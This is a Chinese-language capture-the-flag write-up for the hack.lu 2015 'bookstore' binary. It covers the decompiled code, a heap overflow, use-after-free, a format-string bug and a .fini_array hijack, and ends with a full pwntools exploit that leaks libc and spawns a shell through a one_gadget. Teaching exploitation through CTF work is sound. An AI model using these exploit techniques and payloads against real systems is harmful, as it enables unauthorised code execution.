文章目录
- hack.lu ctf 2015 bookstore
- 检查
- IDA源码
- main函数
- edit_note
- delete_note
- submit
- .fini_array段劫持(回到main函数的方法)
- 思路
- 格式化字符串是啥呢
- 0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数
- 构造格式化字符串的其他方法
- exp
佛系getshell
常规getshell
hack.lu ctf 2015 bookstore
检查
got表可写,没有地址随机化(PIE)
IDA源码
C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。
main函数
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-BCh]
char *v5; // [rsp+8h] [rbp-B8h]
char *first_order; // [rsp+18h] [rbp-A8h]
char *second_order; // [rsp+20h] [rbp-A0h]
char *dest; // [rsp+28h] [rbp-98h]
char s[136]; // [rsp+30h] [rbp-90h] BYREF
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]
v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
v4 = 0;
puts(
" _____ _ _ _ _ _ \n"
"/__ \\_____ _| |_| |__ ___ ___ | | __ ___| |_ ___ _ __ ___ / \\\n"
" / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/ /\n"
" / / | __/> <| |_| |_) | (_) | (_) | < \\__ \\ || (_) | | | __/\\_/ \n"
" \\/ \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_| \\___\\/ \n"
"Crappiest and most expensive books for your college education!\n"
"\n"
"We can order books for you in case they're not in stock.\n"
"Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(s, 128, stdin);
switch ( s[0] )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}
}
printf("%s", v5);
printf(dest);
return 0LL;
}
功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串
edit_note
unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; // [rsp+10h] [rbp-10h]
int cnt; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' )
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
a1[cnt - 1] = 0;
return __readfsqword(0x28u) ^ v5;
}
没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0
delete_note
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
free(a1);
return __readfsqword(0x28u) ^ v2;
}
直接free但是没有清空,存在use after free
submit
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
size_t v3; // rax
size_t v4; // rax
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
strcpy(all, "Order 1: ");
v3 = strlen(order1);
strncat(all, order1, v3);
strcat(all, "\nOrder 2: ");
v4 = strlen(order2);
strncat(all, order2, v4);
*(_WORD *)&all[strlen(all)] = '\n';
return __readfsqword(0x28u) ^ v7;
}
提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest
.fini_array段劫持(回到main函数的方法)
.fini_array段劫持资料参考
大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。
构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:
带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。
#include <stdio.h>
#include <stdlib.h>
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
int main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
return 0;
}
void start(void)
{
printf("hello world!\n");
}
void stop(void)
{
printf("goodbye world!\n");
}
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数
.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数
假设此时取消定义的属性
#include <stdio.h>
#include <stdlib.h>
static void start(void) ;
static void stop(void) ;
int main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
return 0;
}
void start(void)
{
printf("hello world!\n");
}
void stop(void)
{
printf("goodbye world!\n");
}
此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
思路
明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
但是我们先要得到libc地址,那么得得到相关函数地址才行
发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest
此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串
free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)
所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
# define check_malloced_chunk(A, P, N) do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
/* same as recycled case ... */
do_check_remalloced_chunk (av, p, s);
/*
... plus, must obey implementation invariant that prev_inuse is
always true of any allocated chunk; i.e., that each allocated
chunk borders either a previously allocated and still in-use
chunk, or the base of its memory arena. This is ensured
by making all allocations from the `lowest' part of any found
chunk. This does not necessarily hold however for chunks
recycled via fastbins.
*/
assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
if (!chunk_is_mmapped (p))
{
assert (av == arena_for_chunk (p));
if (chunk_non_main_arena (p))
assert (av != &main_arena);
else
assert (av == &main_arena);
}
do_check_inuse_chunk (av, p);
/* Legal size ... */
assert ((sz & MALLOC_ALIGN_MASK) == 0);
assert ((unsigned long) (sz) >= MINSIZE);
/* ... and alignment */
assert (aligned_OK (chunk2mem (p)));
/* chunk is less than MINSIZE more than request */
assert ((long) (sz) - (long) (s) >= 0);
assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}
/*
Properties of nonrecycled chunks at the point they are malloced
*/
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
mchunkptr next;
do_check_chunk (av, p);
if (chunk_is_mmapped (p))
return; /* mmapped chunks have no next/prev */
/* Check whether it claims to be in use ... */
assert (inuse (p));
next = next_chunk (p);
/* ... and is surrounded by OK chunks.
Since more things can be checked with free chunks than inuse ones,
if an inuse chunk borders them and debug is on, it's worth doing them.
*/
if (!prev_inuse (p))
{
/* Note that we cannot even look at prev unless it is not inuse */
mchunkptr prv = prev_chunk (p);
assert (next_chunk (prv) == p);
do_check_free_chunk (av, prv);
}
if (next == av->top)
{
assert (prev_inuse (next));
assert (chunksize (next) >= MINSIZE);
}
else if (!inuse (next))
do_check_free_chunk (av, next); 这个检查应该使得无法利用的,不知道为啥可以利用成功
}
可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
static void
do_check_chunk (mstate av, mchunkptr p)
{
unsigned long sz = chunksize (p);
/* min and max possible addresses assuming contiguous allocation */
char *max_address = (char *) (av->top) + chunksize (av->top);
char *min_address = max_address - av->system_mem;
if (!chunk_is_mmapped (p))
{
/* Has legal address ... */
if (p != av->top)
{
if (contiguous (av))
{
assert (((char *) p) >= min_address);
assert (((char *) p + sz) <= ((char *) (av->top)));
}
}
else
{
/* top size is always at least MINSIZE */
assert ((unsigned long) (sz) >= MINSIZE);
/* top predecessor always marked inuse */
assert (prev_inuse (p));
}
}
else
{
/* address is outside main heap */
if (contiguous (av) && av->top != initial_top (av))
{
assert (((char *) p) < min_address || ((char *) p) >= max_address);
}
/* chunk is page-aligned */
assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);
/* mem is aligned */
assert (aligned_OK (chunk2mem (p)));
}
}
static void
do_check_free_chunk (mstate av, mchunkptr p)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
mchunkptr next = chunk_at_offset (p, sz);
do_check_chunk (av, p);
/* Chunk must claim to be free ... */
assert (!inuse (p));
assert (!chunk_is_mmapped (p));
/* Unless a special marker, must have OK fields */
if ((unsigned long) (sz) >= MINSIZE)
{
assert ((sz & MALLOC_ALIGN_MASK) == 0);
assert (aligned_OK (chunk2mem (p)));
/* ... matching footer field */
assert (next->prev_size == sz);
/* ... and is fully consolidated */
assert (prev_inuse (p));
assert (next == av->top || inuse (next));
/* ... and has minimally sane links */
assert (p->fd->bk == p);
assert (p->bk->fd == p);
}
else /* markers are always of size SIZE_SZ */
assert (sz == SIZE_SZ);
}
格式化字符串是啥呢
这里利用输入时fgetc会输入空字符得特点和字符串相关函数遇到空字符结束的特点,使得最好输入的内容正好在格式化字符串参数的位置
此时对应的submit的结果:Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
我们的目的是达到第二个内容在dest的位置
此时首先为了达到溢出到修改节点2的header的位置需要将字符填满有0x80,而为了保证第二个内容在dest的位置,此时又得保证(Order 1: 内容\nOrder 2: Order 1: )这前面的内容有0x90,由于此时内容就有0x90个字节(0x80+chunk头0x10),所以由于字符串函数遇到空字符结束的特点,可以在内容中存在空字符来使得其截止
程序退出后会执行
.fini_array
地址处的函数,不过只能利用一次。
这里利用到malloc(0x150)得到的chunk依然是order2,而submit中第一次复制是将order1复制到order2里,然后又将order2的内容复制到order2中,这样超过0x80的部分就是格式字符串的内容了
此时格式化字符串是要泄露栈上libc_start_main函数的地址和修改fini_array的内容和泄露栈上某个与第二次调用printf格式化字符串漏洞的有固定偏移的栈地址
格式化字符串构造好后,在输入功能选项5后加上fini_array的地址,然后找到输入位置和printf参数的偏移,最后修改地址并泄露地址
最后第二次格式化字符串的时候修改返回地址为onegadget函数地址(方法与第一次类似,返回地址在栈上的位置与之前泄露的栈地址有固定偏移)
当替换到返回地址为onegadget地址后,当执行到onegadget后会发现rax已经是NULL,所以不需要清零了
0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数
int(字符串,16)
构造格式化字符串的其他方法
可以通过多个+号来串联
b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"
exp
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./books")
#gdb.attach(p,"b main")
f=ELF("./books")
free_got=f.got["free"]
def editor1(content):
p.sendlineafter(b"5: Submit\n",str(1))
p.sendlineafter(b"Enter first order:\n",content)
def editor2(content):
p.sendlineafter(b"5: Submit\n",str(2))
p.sendlineafter(b"Enter second order:\n",content)
def delete1():
p.sendlineafter(b"5: Submit\n",str(3))
def delete2():
p.sendlineafter(b"5: Submit\n",str(4))
def submit(content):
p.sendlineafter(b"5: Submit\n",content)
delete2()
payload=b"%10c%13$hhn%47c%14$hhn" #修改fini的内容
payload=payload+b"function:%31$p stack:%33$p" # 泄露栈顶地址和函数地址
# p 0x7ffdb2339578-0x7ffdb23393c8 $1 = 0x1b0
#p 0x7ffdb23393c8- 0x7ffdb23392b8 $5 = 0x110
payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)
fini_addr=0x6011b8
submit(b'5'+7*p8(0x0)+p64(fini_addr+1)+p64(fini_addr))
#0x7fffe0688210-0x7fffe06881e0 0x0000000000400830 0x400a39
p.recvuntil(b"stack")
p.recvuntil(b"stack")
p.recvuntil(b"function:")
libc_start_main=p.recvuntil(b" ")[:-1]
libc_start_main=int(libc_start_main,16) # 将0x形式的字符串转化数字
p.recvuntil(b"stack:")
stack_addr=p.recvuntil(b"a")[:-1]
stack_addr=int(stack_addr,16)
libc_start_main=libc_start_main-240
libc_addr=libc_start_main-0x20750
stack_addr=stack_addr-0x1b0-0x110 +208
onegadget_addr=libc_addr+0x45226
print("libc_start_main",hex(libc_start_main))
print("libc_addr",hex(libc_addr))
print("stack_addr",hex(stack_addr))
change46=hex(onegadget_addr)[-6:-4]
change46=int(change46,16)
print(hex(change46))
change14=hex(onegadget_addr)[-4:]
change14=int(change14,16)
print(hex(change14))
two=bytes(str(change14-change46),"ascii")
one=bytes(str(change46),"ascii")
delete2()
print(one)
print(two)
payload=b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"
payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)
submit(b'5'+7*p8(0x0)+p64(stack_addr+2)+p64(stack_addr))
p.interactive()